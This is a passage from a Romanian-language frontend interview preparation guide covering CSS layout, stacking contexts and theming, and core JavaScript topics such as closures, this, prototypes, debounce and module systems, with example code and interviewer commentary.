Ce urmărește intervievatorul: Pare banală, dar arată dacă stăpânești layout-ul modern. Greșeala tipică: candidatul nu înțelege de ce centrarea verticală nu are efect când părintele nu are înălțime.

19 Mid

Când folosești CSS Grid și când Flexbox? Construiește un layout cu Grid.

Răspuns scurt: Flexbox e pentru o singură dimensiune (un rând sau o coloană de elemente), Grid e pentru layout bidimensional, unde controlezi rânduri și coloane în același timp. În practică le combini: Grid pentru structura paginii, Flexbox în interiorul componentelor.

Diferența de gândire: la Flexbox conținutul dictează dimensiunile (elementele „curg” și se împart spațiul), la Grid definești întâi structura, apoi plasezi elementele în ea.

Folosești Grid când ai nevoie ca elementele să se alinieze și pe rânduri, și pe coloane: layout de pagină, galerii, formulare cu etichete aliniate, dashboard-uri. Flexbox e ideal pentru bare de navigare, grupuri de butoane, aliniere icon + text.

Layout de pagină cu zone numite:

CSS
.pagina {
  display: grid;
  grid-template-columns: 240px 1fr;
  grid-template-rows: auto 1fr auto;
  grid-template-areas:
    "antet antet"
    "meniu continut"
    "subsol subsol";
  min-height: 100vh;
}
header { grid-area: antet; }
nav    { grid-area: meniu; }
main   { grid-area: continut; }
footer { grid-area: subsol; }

@media (max-width: 768px) {
  .pagina {
    grid-template-columns: 1fr;
    grid-template-areas: "antet" "continut" "subsol";
  }
  nav { display: none; }
}

Grilă de carduri responsivă fără media queries:

CSS
.carduri {
  display: grid;
  grid-template-columns: repeat(auto-fill, minmax(260px, 1fr));
  gap: 24px;
}

minmax(260px, 1fr) spune: fiecare coloană are minim 260px și împarte restul. auto-fill pune câte coloane încap. Unitatea fr reprezintă o fracțiune din spațiul liber. subgrid (suportat larg din 2023) permite copiilor să se alinieze la grila părintelui, util pentru carduri cu titluri de lungimi diferite.

Ce urmărește intervievatorul: Verifică dacă alegi unealta potrivită, nu doar pe cea cunoscută. Greșeala tipică: răspunsul „Grid e pentru pagină, Flex pentru componente” fără să poți explica diferența de model.

20 Mid

De ce un z-index foarte mare nu pune uneori elementul deasupra? Ce este un stacking context?

Răspuns scurt: z-index se compară doar între elemente din același stacking context. Dacă elementul tău e în interiorul unui părinte care creează propriul context (de exemplu cu transform, opacity sub 1 sau z-index pe un element poziționat), nu poate ieși deasupra elementelor din afara părintelui.

Un stacking context este un grup de elemente stivuite împreună pe axa Z. În interiorul lui, copiii se ordonează după z-index, dar întregul grup e tratat ca un singur strat în contextul părinte.

Ce creează un stacking context nou (lista nu e completă):

  • elementul rădăcină html;
  • un element poziționat (relative, absolute) cu z-index diferit de auto;
  • position: fixed sau sticky;
  • opacity mai mic decât 1;
  • transform, filter, perspective, will-change pe aceste proprietăți;
  • copiii flex sau grid cu z-index setat;
  • isolation: isolate.
HTML
<div class="antet" style="position: relative; z-index: 2">Antet</div>
<div class="continut" style="position: relative; z-index: 1">
  <div class="dropdown" style="position: absolute; z-index: 9999">Meniu</div>
</div>

Aici dropdown-ul rămâne sub antet: .continut are z-index 1 și formează un context, iar 9999 contează doar în interiorul lui. La nivelul de sus se compară 2 cu 1.

Cum rezolvi:

  • ridici z-index-ul strămoșului care creează contextul, sau elimini proprietatea care îl creează inutil;
  • muți elementul în afara ierarhiei: în React cu createPortal către document.body, tiparul standard pentru modaluri și tooltip-uri;
  • folosești elementul <dialog> sau atributul popover, care afișează conținutul în top layer, deasupra oricărui context.

În proiecte mari, z-index-urile se definesc ca variabile cu valori puține și documentate, ca să nu ajungi la licitații de tip 99999.

Ce urmărește intervievatorul: E o problemă reală de depanare și separă pe cei care înțeleg modelul de cei care încearcă valori la întâmplare. Greșeala tipică: creșterea continuă a z-index-ului fără să găsească contextul vinovat.

21 Mid

Ce sunt variabilele CSS (custom properties) și cum implementezi o temă dark/light?

Răspuns scurt: Custom properties sunt valori definite cu --nume și citite cu var(--nume). Spre deosebire de variabilele Sass, există la rulare, se moștenesc prin DOM și pot fi schimbate din media queries sau JavaScript, ceea ce le face ideale pentru teme.

Variabilele CSS se declară pe un selector și se moștenesc la toți descendenții:

CSS
:root {
  --culoare-fundal: #ffffff;
  --culoare-text: #1a1a1a;
  --accent: #2563eb;
  --raza: 8px;
}

@media (prefers-color-scheme: dark) {
  :root:not([data-tema="light"]) {
    --culoare-fundal: #0f172a;
    --culoare-text: #e2e8f0;
    --accent: #60a5fa;
  }
}
:root[data-tema="dark"] {
  --culoare-fundal: #0f172a;
  --culoare-text: #e2e8f0;
  --accent: #60a5fa;
}

body {
  background: var(--culoare-fundal);
  color: var(--culoare-text);
}
.buton {
  background: var(--accent);
  border-radius: var(--raza, 4px); /* 4px e valoarea de rezervă */
}
JavaScript
// buton de comutare a temei
document.documentElement.dataset.tema = 'dark';

Structura de mai sus respectă preferința sistemului, dar permite utilizatorului să o suprascrie din interfață; alegerea se poate salva în localStorage.

Diferențe față de variabilele Sass: cele din Sass dispar la compilare și au o singură valoare; cele CSS se pot redefini local (un card poate avea alt --accent), se pot anima în anumite condiții (cu @property) și sunt vizibile în DevTools. Poți citi și seta din JS cu getComputedStyle(el).getPropertyValue('--accent') și el.style.setProperty('--accent', 'red').

Bună practică: două niveluri de variabile, unele „primitive” (--albastru-600) și altele „semantice” (--culoare-accent); componentele folosesc doar variabilele semantice, iar tema schimbă maparea.

Ce urmărește intervievatorul: Verifică dacă știi CSS modern și poți proiecta o temă fără duplicare. Greșeala tipică: crearea unei teme dark prin rescrierea tuturor regulilor în loc de schimbarea câtorva variabile.

22 Senior

Cum organizezi CSS-ul într-o aplicație mare? Compară BEM, CSS Modules, CSS-in-JS și Tailwind.

Răspuns scurt: Problema de rezolvat e coliziunea de nume și cascada globală. BEM o rezolvă prin convenție, CSS Modules prin nume generate la build, CSS-in-JS prin stiluri legate de componente, iar Tailwind prin clase utilitare; alegerea ține de echipă, performanță și randarea pe server.

CSS-ul e global implicit: orice regulă poate afecta orice element. Într-o aplicație mare, cu mulți oameni, asta duce la stiluri care se suprascriu reciproc și la frica de a șterge cod.

  • BEM (Block Element Modifier): convenție de nume, de exemplu .card__titlu--mare. Zero unelte, specificitate uniformă, dar disciplina depinde de oameni.
  • CSS Modules: fișiere .module.css în care clasele primesc nume unice la build. Izolare reală, CSS static (bun pentru performanță), suportat nativ de Vite și Next.js.
  • CSS-in-JS cu rulare la execuție (styled-components, Emotion): stiluri în JS, ușor de făcut dinamice după props, dar cu cost la rulare și probleme cu React Server Components. Variantele care extrag CSS la build (vanilla-extract, Linaria, Panda CSS) elimină costul la rulare.
  • Tailwind: clase utilitare direct în markup. Fără nume de inventat, CSS final mic, design consecvent prin scara de valori, dar markup încărcat și o curbă de învățare.
TSX
// CSS Modules
import s from './Card.module.css';
export const Card = ({ titlu }: { titlu: string }) => (
  <div className={s.card}><h3 className={s.titlu}>{titlu}</h3></div>
);

Independent de alegere, contează: un set de design tokens (culori, spațieri, tipografie) ca variabile CSS, un reset comun, specificitate joasă și @layer pentru a controla ordinea dintre reset, librării externe, componente și utilitare fără !important.

La senior, răspunsul bun nu e „X e cel mai bun”, ci criteriile: SSR și streaming, dimensiunea echipei, existența unui design system, costul migrării.

Ce urmărește intervievatorul: La senior se urmărește capacitatea de a lua decizii argumentate de arhitectură. Greșeala tipică: o preferință personală prezentată ca adevăr, fără compromisuri și fără context.

JavaScript fundamental

23 Junior

Care e diferența dintre var, let și const? Ce este hoisting-ul?

Răspuns scurt: var are domeniu de funcție și e inițializat cu undefined la hoisting; let și const au domeniu de bloc și nu pot fi folosite înainte de declarare (temporal dead zone). const nu permite reasignarea, dar obiectul referit poate fi modificat.

Hoisting înseamnă că declarațiile sunt înregistrate la începutul domeniului lor înainte ca acel cod să ruleze. Diferența e ce valoare au până la linia declarației.

JavaScript
console.log(a); // undefined: var e ridicat și inițializat cu undefined
var a = 1;

console.log(b); // ReferenceError: b se află în temporal dead zone
let b = 2;

salut(); // funcționează: declarațiile de funcție sunt ridicate complet
function salut() { console.log('salut'); }

Domeniul (scope):

JavaScript
if (true) {
  var x = 1;
  let y = 2;
}
console.log(x); // 1, var ignoră blocul
console.log(y); // ReferenceError

const interzice reasignarea legăturii, nu modificarea valorii:

JavaScript
const user = { nume: 'Ana' };
user.nume = 'Ion';   // permis
user = {};           // TypeError: Assignment to constant variable

Alte diferențe: var la nivel global devine proprietate pe window, let și const nu; var poate fi redeclarat în același domeniu, let nu. Într-o buclă for, let creează o legătură nouă la fiecare iterație, ceea ce contează pentru closures.

În cod modern: const implicit, let când chiar reasignezi, var deloc. Asta face codul mai previzibil, pentru că știi din prima ce valori se pot schimba.

Ce urmărește intervievatorul: E o întrebare de filtrare, pusă la aproape orice interviu de JavaScript. Greșeala tipică: afirmația că const face obiectul imuabil sau că let „nu e hoisted deloc”.

24 Junior

Care e diferența dintre == și ===? Dă exemple de coerciție surprinzătoare.

Răspuns scurt: === compară fără conversie de tip (valoare și tip trebuie să coincidă), == convertește operanzii la un tip comun înainte de comparare. Folosește === implicit; excepția acceptată este x == null, care verifică simultan null și undefined.

== aplică coerciția (conversia implicită de tip) după un algoritm destul de complicat, iar rezultatele nu sunt intuitive:

JavaScript
0 == '';            // true  ('' devine 0)
'0' == false;       // true  (ambele devin 0)
'' == false;        // true
null == undefined;  // true
null == 0;          // false (null e egal doar cu undefined)
[] == false;        // true  ([] devine '' apoi 0)
NaN == NaN;         // false

0 === '';           // false
null === undefined; // false

=== (egalitate strictă) e previzibil: întoarce true doar dacă tipul și valoarea coincid. Pentru obiecte, ambele operatoare compară referințe, nu conținut:

JavaScript
({ a: 1 }) === ({ a: 1 }); // false, două obiecte distincte
const o = { a: 1 };
o === o;                   // true

Cazuri speciale:

  • NaN nu e egal cu nimic, nici cu el însuși. Verifici cu Number.isNaN(x).
  • Object.is(x, y) e ca ===, dar Object.is(NaN, NaN) e true și Object.is(0, -0) e false. React folosește Object.is pentru a compara state-ul și dependențele hook-urilor.

Singura folosire larg acceptată a lui == este if (valoare == null), care prinde atât null, cât și undefined. Multe echipe impun === prin regula ESLint eqeqeq, cu opțiunea de a permite această excepție.

Ce urmărește intervievatorul: Verifică dacă înțelegi sistemul de tipuri al JavaScript, nu doar regula „folosește ===”. Greșeala tipică: necunoașterea faptului că obiectele se compară prin referință, sursă frecventă de bug-uri în React.

25 Junior

Care e diferența dintre tipurile primitive și cele de referință? Cum copiezi corect un obiect?

Răspuns scurt: Primitivele (string, number, boolean, null, undefined, bigint, symbol) se copiază prin valoare; obiectele, array-urile și funcțiile se copiază prin referință. Spread-ul face o copie superficială (shallow), iar structuredClone o copie completă (deep).

Când atribui un primitiv altei variabile, se copiază valoarea. Când atribui un obiect, se copiază referința, adică ambele variabile indică spre același obiect din memorie:

JavaScript
let a = 5;
let b = a;
b++;
console.log(a); // 5

const user = { nume: 'Ana', adresa: { oras: 'Cluj' } };
const alias = user;
alias.nume = 'Ion';
console.log(user.nume); // 'Ion', e același obiect

Copie superficială (shallow): copiază doar primul nivel; obiectele imbricate rămân partajate.

JavaScript
const copie = { ...user };        // sau Object.assign({}, user)
copie.nume = 'Maria';             // nu afectează user
copie.adresa.oras = 'Iași';       // AFECTEAZĂ user.adresa

Copie completă (deep):

JavaScript
const adanc = structuredClone(user);
adanc.adresa.oras = 'Brașov';     // user rămâne neschimbat

structuredClone e disponibil în browserele moderne (din 2022) și în Node.js 17+. Suportă Date, Map, Set și referințe circulare, dar nu copiază funcții, elemente DOM sau prototipul claselor. Varianta veche JSON.parse(JSON.stringify(obj)) pierde undefined, funcții, transformă Date în string și eșuează la referințe circulare.

Același lucru se aplică la parametrii funcțiilor: o funcție care primește un obiect și îl modifică schimbă obiectul apelantului. De aceea, în React actualizezi state-ul creând obiecte noi, nu modificându-le pe cele existente.

Ce urmărește intervievatorul: Este baza multor bug-uri din aplicațiile frontend, mai ales în React. Greșeala tipică: convingerea că spread-ul face o copie completă a obiectelor imbricate.

26 Junior

Ce este un closure? Dă un exemplu practic.

Răspuns scurt: Un closure este o funcție care își păstrează accesul la variabilele din domeniul în care a fost creată, chiar și după ce funcția exterioară a terminat de rulat. Se folosește pentru stare privată, fabrici de funcții și callback-uri.

În JavaScript, fiecare funcție „ține minte” mediul lexical în care a fost definită. Dacă funcția interioară folosește variabile ale funcției exterioare, acestea nu sunt eliberate din memorie cât timp funcția interioară există.

JavaScript
function creeazaContor() {
  let valoare = 0;          // variabilă privată
  return {
    creste() { valoare++; return valoare; },
    reseteaza() { valoare = 0; },
  };
}

const c1 = creeazaContor();
const c2 = creeazaContor();
c1.creste(); // 1
c1.creste(); // 2
c2.creste(); // 1, fiecare apel are propriul closure
console.log(c1.valoare); // undefined, nu e accesibilă din afară

Unde întâlnești closures în frontend:

  • handler-e de evenimente care folosesc variabile din jur;
  • fabrici de funcții: const adunaCu = n => x => x + n;
  • debounce/throttle, care rețin id-ul timer-ului între apeluri;
  • hook-urile React: fiecare randare creează funcții noi care „văd” valorile props și state din acea randare.

Ultimul punct explică problema „stale closure” în React: un setInterval creat într-un useEffect cu dependențe goale vede mereu valoarea inițială a state-ului, pentru că închide variabilele din prima randare.

JavaScript
useEffect(() => {
  const id = setInterval(() => setCount(c => c + 1), 1000); // update funcțional, fără stale closure
  return () => clearInterval(id);
}, []);

Costul: variabilele închise rămân în memorie; un closure păstrat de un listener neeliminat poate ține în viață obiecte mari.

Ce urmărește intervievatorul: Closures stau la baza multor tipare din JavaScript și React. Greșeala tipică: definiția recitată corect, dar fără un exemplu propriu și fără legătura cu stale closures în hook-uri.

27 Junior

Ce afișează codul următor și de ce? for (var i = 0; i < 3; i++) { setTimeout(() => console.log(i), 0); }

Răspuns scurt: Afișează 3, 3, 3. var are o singură variabilă i pentru toată bucla, iar callback-urile rulează după terminarea buclei, când i a ajuns la 3. Cu let, se afișează 0, 1, 2, pentru că let creează o legătură nouă la fiecare iterație.

Două concepte se combină aici: event loop-ul și domeniul variabilelor.

1. setTimeout(..., 0) nu rulează callback-ul imediat. Îl programează să ruleze după ce codul sincron curent se termină și stiva de apeluri e goală. 2. Bucla se execută complet și sincron: i devine 0, 1, 2, apoi 3, iar condiția i < 3 oprește bucla. 3. Abia acum rulează cele trei callback-uri. Toate închid aceeași variabilă i (var are domeniu de funcție, nu de bloc), care are valoarea 3.

JavaScript
for (var i = 0; i < 3; i++) {
  setTimeout(() => console.log(i), 0);
}
// 3 3 3

for (let j = 0; j < 3; j++) {
  setTimeout(() => console.log(j), 0);
}
// 0 1 2

Cu let, specificația creează o nouă legătură j pentru fiecare iterație, iar fiecare callback închide propria copie.

Soluția dinainte de ES2015 era un IIFE (funcție executată imediat), care crea un domeniu nou:

JavaScript
for (var i = 0; i < 3; i++) {
  (function (k) {
    setTimeout(() => console.log(k), 0);
  })(i);
}

Sau transmiterea valorii ca argument suplimentar: setTimeout(console.log, 0, i).

La interviu, explică în ordine: ce rulează sincron, când rulează callback-urile, ce variabilă văd. Asta arată că înțelegi mecanismul, nu că ai memorat răspunsul.

Ce urmărește intervievatorul: E o întrebare clasică ce testează simultan closures, scope și event loop. Greșeala tipică: răspunsul „0 1 2” sau răspunsul corect fără explicația ordinii de execuție.

28 Junior

Explică map, filter și reduce. Scrie o funcție care calculează totalul unui coș de cumpărături.

Răspuns scurt: map transformă fiecare element și întoarce un array nou de aceeași lungime, filter păstrează doar elementele care trec un test, iar reduce combină toate elementele într-o singură valoare. Niciuna nu modifică array-ul original.

Cele trei metode sunt baza lucrului cu date în frontend și înlocuiesc majoritatea buclelor for:

JavaScript
const cos = [
  { nume: 'Curs JS', pret: 297, cantitate: 1, activ: true },
  { nume: 'Curs CSS', pret: 197, cantitate: 2, activ: true },
  { nume: 'Carte', pret: 50, cantitate: 1, activ: false },
];

// map: un array nou, aceeași lungime
const nume = cos.map(p => p.nume); // ['Curs JS', 'Curs CSS', 'Carte']

// filter: un array nou, doar elementele pentru care funcția întoarce true
const active = cos.filter(p => p.activ);

// reduce: o singură valoare, pornind de la acumulatorul inițial
function totalCos(produse) {
  return produse
    .filter(p => p.activ)
    .reduce((suma, p) => suma + p.pret * p.cantitate, 0);
}

console.log(totalCos(cos)); // 691

De reținut:

  • Dă întotdeauna valoarea inițială la reduce (aici 0). Fără ea, primul element devine acumulator, iar pe un array gol primești TypeError.
  • forEach nu întoarce nimic; folosește-l doar pentru efecte (log, apeluri), nu pentru a construi date.
  • În React, map e modul standard de a randa liste: produse.map(p => <Item key={p.id} {...p} />).
  • Pentru bani, în aplicații reale se lucrează adesea în unități întregi (bani, cenți), pentru că numerele zecimale în virgulă mobilă dau erori de rotunjire: 0.1 + 0.2 este 0.30000000000000004.

Metode înrudite utile: find, some, every, includes, flatMap, iar din ES2023 toSorted și toReversed, care nu modifică array-ul original ca sort și reverse.

Ce urmărește intervievatorul: Intervievatorul verifică fluența în lucrul cu date imutabil, folosit zilnic în React. Greșeala tipică: reduce fără valoare inițială sau folosirea lui map pentru efecte secundare.

29 Junior

Ce sunt destructuring-ul, operatorul spread și parametrii rest?

Răspuns scurt: Destructuring extrage valori din obiecte sau array-uri în variabile. Spread (...) „desface” un array sau obiect în elemente individuale, iar rest (tot ...) adună elementele rămase într-un array sau obiect. Diferă doar locul unde apare sintaxa.

Destructuring pentru obiecte și array-uri, cu valori implicite și redenumire:

JavaScript
const user = { nume: 'Ana', rol: 'admin', setari: { tema: 'dark' } };
const { nume, rol: functie = 'user', setari: { tema } } = user;
// nume = 'Ana', functie = 'admin', tema = 'dark'

const [primul, , al3lea = 0] = [10, 20];
// primul = 10, al3lea = 0 (valoare implicită)

// schimbarea a două variabile
let a = 1, b = 2;
[a, b] = [b, a];

Spread (în partea dreaptă, la apeluri sau în literali):

JavaScript
const vechi = [1, 2];
const nou = [...vechi, 3];                   // [1, 2, 3]
const actualizat = { ...user, rol: 'editor' }; // copie cu o proprietate schimbată
Math.max(...nou);                            // 3

Rest (în partea stângă sau în parametri):

JavaScript
const { parola, ...publice } = { nume: 'Ana', parola: 'x', email: 'a@b.ro' };
// publice = { nume: 'Ana', email: 'a@b.ro' }

function suma(...numere) {
  return numere.reduce((s, n) => s + n, 0);
}
suma(1, 2, 3); // 6

În React le folosești constant: function Buton({ variant = 'primar', ...rest }) { return <button className={variant} {...rest} />; } preia props-urile cunoscute și le transmite pe celelalte mai departe.

Atenție: valoarea implicită din destructuring se aplică doar pentru undefined, nu pentru null. Și destructuring-ul unui obiect undefined aruncă eroare, de aceea în parametri se scrie adesea function f({ a } = {}).

Ce urmărește intervievatorul: Sintaxa apare în aproape orice fișier modern. Greșeala tipică: confuzia între spread și rest sau convingerea că valoarea implicită se aplică și pentru null.

30 Junior

Care e diferența dintre null și undefined? De ce typeof null întoarce "object"?

Răspuns scurt: undefined înseamnă că o variabilă sau proprietate nu a primit valoare; null este o valoare atribuită intenționat pentru „nimic”. typeof null este "object" din cauza unei erori din prima implementare JavaScript, păstrată pentru compatibilitate.

Ambele reprezintă absența unei valori, dar în situații diferite:

undefined apare automat:

  • variabilă declarată, dar neinițializată: let x;
  • proprietate inexistentă: ({}).abc
  • parametru netransmis;
  • funcție fără return.

null e pus de programator sau de un API ca să spună explicit „nu există valoare”: document.querySelector('.nu-exista') întoarce null, un câmp opțional dintr-un răspuns JSON poate fi null.

JavaScript
typeof undefined;   // 'undefined'
typeof null;        // 'object' (eroare istorică)
null == undefined;  // true
null === undefined; // false
JSON.stringify({ a: undefined, b: null }); // '{"b":null}'
Number(null);       // 0
Number(undefined);  // NaN

De ce typeof null === 'object': în prima implementare, valorile aveau o etichetă de tip în biții de jos, iar eticheta pentru obiecte era 0. null era reprezentat ca pointer nul (tot zero), deci era clasificat ca obiect. O propunere de corectare a fost respinsă pentru că ar fi stricat site-uri existente.

Consecință practică: pentru a verifica dacă ai un obiect real, scrie valoare !== null && typeof valoare === 'object'.

Diferența contează și la serializare: o proprietate undefined dispare din JSON, iar null rămâne. Într-un API PATCH, asta poate însemna „nu modifica câmpul” versus „șterge valoarea câmpului”. Pentru acces sigur folosești ?. și ??, care tratează la fel ambele valori.

Ce urmărește intervievatorul: Testează cunoașterea detaliilor limbajului care produc bug-uri reale. Greșeala tipică: verificarea unui obiect doar cu typeof, care lasă să treacă null.

31 Junior

Ce valori sunt falsy în JavaScript și ce fac operatorii ?? și ?.?

Răspuns scurt: Valorile falsy sunt false, 0, -0, 0n, "", null, undefined și NaN; restul sunt truthy. ?? (nullish coalescing) dă valoarea din dreapta doar dacă stânga e null sau undefined, iar ?. (optional chaining) oprește accesul fără eroare dacă întâlnește null sau undefined.

Într-un context boolean (if, &&, ||, !), orice valoare se convertește la true sau false. Lista completă a valorilor falsy: false, 0, -0, 0n, '', null, undefined, NaN. Tot restul e truthy, inclusiv '0', 'false', [] și {}.

Problema cu || pentru valori implicite: tratează și 0 sau '' ca lipsă.

JavaScript
const setari = { volum: 0, titlu: '' };

setari.volum || 50;  // 50, greșit: utilizatorul a ales 0
setari.volum ?? 50;  // 0, corect
setari.titlu ?? 'Fără titlu'; // ''

Optional chaining evită lanțurile de verificări:

JavaScript
const oras = user?.adresa?.oras;      // undefined dacă user sau adresa lipsește
const primul = lista?.[0];
raspuns.onSuccess?.();                // apelează doar dacă funcția există

const oras2 = user?.adresa?.oras ?? 'necunoscut';

Atenție, ?. nu înlocuiește validarea: dacă un câmp trebuie să existe, ascunderea erorii cu ?. amână problema și face depanarea mai grea.

Capcană în React: {count && <Badge />} afișează „0” pe ecran când count e 0, pentru că expresia întoarce 0, iar React randează numerele. Soluția: {count > 0 && <Badge />}.

Ambii operatori sunt din ES2020, suportați în toate browserele moderne. Există și varianta de atribuire ??= (ES2021): optiuni.limita ??= 10 setează valoarea doar dacă lipsește.

Ce urmărește intervievatorul: Verifică atenția la cazurile-limită. Greșeala tipică: folosirea lui || pentru valori implicite numerice și bug-ul cu 0 afișat în JSX.

32 Mid

Cum se stabilește valoarea lui this? Prin ce diferă arrow functions?

Răspuns scurt: this e determinat de modul în care e apelată funcția: metodă pe obiect, apel simplu, new, sau call/apply/bind. Arrow functions nu au propriul this; îl preiau lexical din domeniul în care au fost definite.

Pentru o funcție obișnuită, this nu depinde de unde e scrisă, ci de cum e apelată:

1. Apel ca metodă: obj.metoda(), this este obj. 2. Apel simplu: f(), this e undefined în strict mode (implicit în module și clase) sau obiectul global altfel. 3. Cu new: new F(), this e obiectul nou creat. 4. Explicit: f.call(obj), f.apply(obj), f.bind(obj). 5. Handler DOM cu funcție obișnuită: this e elementul pe care s-a pus listener-ul.

JavaScript
const curs = {
  titlu: 'JavaScript',
  afiseaza() { console.log(this.titlu); },
};

curs.afiseaza();             // 'JavaScript'
const f = curs.afiseaza;
f();                         // TypeError în strict mode: this e undefined
setTimeout(curs.afiseaza, 0); // pierde this, aceeași problemă

Metoda a fost „desprinsă” de obiect, iar apelul nu mai are obiect în fața punctului.

Arrow functions nu au this propriu; îl iau din domeniul exterior în momentul definirii. Nu poți schimba asta cu call sau bind, iar ele nu pot fi folosite cu new.

JavaScript
class Timer {
  secunde = 0;
  start() {
    setInterval(() => { this.secunde++; }, 1000); // this = instanța
  }
}

De aceea, arrow functions sunt potrivite pentru callback-uri în interiorul metodelor, dar nepotrivite ca metode pe obiecte literale când ai nevoie de this al obiectului: { titlu: 'x', f: () => this.titlu } nu vede titlu.

Componentele React cu funcții și hook-uri au eliminat aproape complet problema, dar o vei întâlni în codul cu clase și în librării.

Ce urmărește intervievatorul: Testează înțelegerea unuia dintre cele mai confuze aspecte ale limbajului. Greșeala tipică: ideea că this se referă la locul unde e scrisă funcția sau că arrow functions „leagă” this la obiectul în care sunt declarate.

33 Mid

Cum funcționează moștenirea prototipală? Ce face de fapt cuvântul class?

Răspuns scurt: Fiecare obiect are o legătură internă către un prototip; când o proprietate nu e găsită pe obiect, e căutată de-a lungul lanțului de prototipuri. class este sintaxă peste acest mecanism: metodele ajung pe prototype, iar extends leagă prototipurile între ele.

În JavaScript nu există clase în sensul din Java. Există obiecte legate de alte obiecte. Legătura internă [[Prototype]] se citește cu Object.getPrototypeOf(obj) (sau vechiul __proto__).

JavaScript
const animal = { respira() { return 'respiră'; } };
const caine = Object.create(animal);
caine.latra = () => 'ham';

caine.latra();    // 'ham', proprietate proprie
caine.respira();  // 'respiră', găsită pe prototip
caine.hasOwnProperty('respira'); // false

Căutarea urcă lanțul până la Object.prototype, apoi la null.

class produce același mecanism:

JavaScript
class Persoana {
  constructor(nume) { this.nume = nume; }  // proprietate pe instanță
  salut() { return `Salut, ${this.nume}`; } // metodă pe Persoana.prototype
}
class Student extends Persoana {
  constructor(nume, an) {
    super(nume);
    this.an = an;
  }
  salut() { return super.salut() + `, anul ${this.an}`; }
}

const s = new Student('Ana', 2);
Object.getPrototypeOf(s) === Student.prototype;                    // true
Object.getPrototypeOf(Student.prototype) === Persoana.prototype;   // true
typeof Persoana; // 'function'

Ce adaugă class față de funcțiile constructor: cod mai clar, strict mode implicit, eroare dacă o apelezi fără new, câmpuri private reale cu # (ES2022).

Consecință practică: metodele sunt partajate între instanțe (o singură copie pe prototip), dar dacă scrii o metodă ca arrow function în câmp de clasă (salut = () => {}), fiecare instanță primește propria copie. Asta rezolvă problema cu this, dar costă memorie la multe instanțe. De asemenea, modificarea prototipurilor native (Array.prototype.x = ...) e o practică periculoasă.

Ce urmărește intervievatorul: La mid se așteaptă să știi ce e sub sintaxa de clasă. Greșeala tipică: descrierea lui class ca în Java, fără a putea explica lanțul de prototipuri.

34 Mid

Ce fac call, apply și bind? Implementează o versiune simplă de bind.

Răspuns scurt: Toate trei setează explicit valoarea lui this. call și apply apelează funcția imediat (call cu argumente separate, apply cu un array), iar bind întoarce o funcție nouă cu this și eventual primele argumente fixate.

JavaScript
function prezinta(salut, semn) {
  return `${salut}, sunt ${this.nume}${semn}`;
}
const ana = { nume: 'Ana' };

prezinta.call(ana, 'Bună', '!');     // 'Bună, sunt Ana!'
prezinta.apply(ana, ['Salut', '.']); // 'Salut, sunt Ana.'

const prezintaAna = prezinta.bind(ana, 'Hei');
prezintaAna('?');                    // 'Hei, sunt Ana?'

Când le folosești:

  • bind pentru a păstra this când transmiți o metodă ca callback: button.addEventListener('click', this.onClick.bind(this)).
  • bind pentru aplicare parțială: fixezi primele argumente.
  • apply era folosit pentru a transmite un array ca argumente (Math.max.apply(null, arr)); azi se scrie Math.max(...arr).
  • call pentru a împrumuta metode: Array.prototype.slice.call(arguments).

O implementare simplificată de bind:

JavaScript
Function.prototype.myBind = function (context, ...argsFixe) {
  const fn = this; // funcția pe care s-a apelat myBind
  return function (...argsNoi) {
    return fn.apply(context, [...argsFixe, ...argsNoi]);
  };
};

const f = prezinta.myBind(ana, 'Ciao');
f('!'); // 'Ciao, sunt Ana!'

Ideea-cheie e closure-ul: funcția întoarsă reține fn, context și argumentele fixe. Varianta reală tratează în plus cazul în care funcția legată e apelată cu new (atunci this legat e ignorat) și setează length și name. O funcție deja legată nu mai poate fi legată din nou la alt this.

Pe arrow functions, aceste metode nu schimbă this, doar transmit argumentele.

Ce urmărește intervievatorul: Arată că înțelegi this și closures suficient cât să construiești singur un utilitar. Greșeala tipică: implementarea lui bind care apelează funcția imediat în loc să întoarcă una nouă.

35 Mid

Scrie o funcție debounce și explică diferența față de throttle.

Răspuns scurt: Debounce amână execuția până când evenimentele se opresc pentru un interval dat (de exemplu căutare după ce utilizatorul nu mai tastează 300 ms). Throttle permite execuția cel mult o dată pe interval, indiferent câte evenimente vin (de exemplu la scroll).

Evenimente ca input, scroll sau resize pot apărea de zeci de ori pe secundă. Dacă fiecare declanșează o cerere la server sau un calcul greu, aplicația devine lentă și serverul e încărcat inutil.

JavaScript
function debounce(fn, delay = 300) {
  let timerId;
  return function (...args) {
    clearTimeout(timerId);
    timerId = setTimeout(() => {
      fn.apply(this, args);
    }, delay);
  };
}

const cauta = debounce((termen) => {
  fetch(`/api/cauta?q=${encodeURIComponent(termen)}`);
}, 300);

input.addEventListener('input', (e) => cauta(e.target.value));

Cum funcționează: fiecare apel anulează timer-ul anterior și pornește unul nou. Funcția reală rulează doar dacă trec 300 ms fără apeluri noi. timerId trăiește în closure, comun tuturor apelurilor.

Throttle, varianta simplă:

JavaScript
function throttle(fn, interval = 200) {
  let ultima = 0;
  return function (...args) {
    const acum = Date.now();
    if (acum - ultima >= interval) {
      ultima = acum;
      fn.apply(this, args);
    }
  };
}
window.addEventListener('scroll', throttle(actualizeazaBara, 100));

Diferența: la tastare continuă 2 secunde, debounce rulează o dată, la final; throttle rulează periodic, de aproximativ 10 ori la 200 ms.

Îmbunătățiri pe care le poți menționa: opțiunea leading (execuție la primul eveniment), o metodă cancel pentru a anula la demontarea componentei, iar în React, păstrarea funcției cu useMemo sau useRef, altfel fiecare randare creează un debounce nou și efectul se pierde.

Ce urmărește intervievatorul: E un exercițiu frecvent de live coding care combină closures, timere și this. Greșeala tipică: crearea funcției debounced în interiorul componentei React la fiecare randare.

36 Mid

Care e diferența dintre modulele ES (import/export) și CommonJS (require)?

Răspuns scurt: Modulele ES sunt standardul limbajului: importurile sunt statice, analizate înainte de rulare, ceea ce permite tree shaking, și se încarcă asincron. CommonJS e sistemul istoric din Node.js, cu require sincron și dinamic, evaluat la rulare.

CommonJS (CJS):

JavaScript
const { formateaza } = require('./utils');
module.exports = { calculeaza };
  • require e o funcție obișnuită: poate fi apelată condiționat, oriunde, cu un nume calculat.
  • Încărcarea e sincronă, potrivită pentru fișiere locale pe server.
  • Exportul e o valoare copiată în momentul require.

Modulele ES (ESM):

JavaScript
import { formateaza } from './utils.js';
import Card from './Card.js';
export function calculeaza() {}
export default Card;

// import dinamic, întoarce un Promise
const { default: Grafic } = await import('./Grafic.js');
  • import și export statice trebuie să stea la nivelul de sus al modulului; structura se cunoaște fără a rula codul.
  • De aceea bundlerele (Vite, webpack, Rollup) pot elimina exporturile nefolosite (tree shaking).
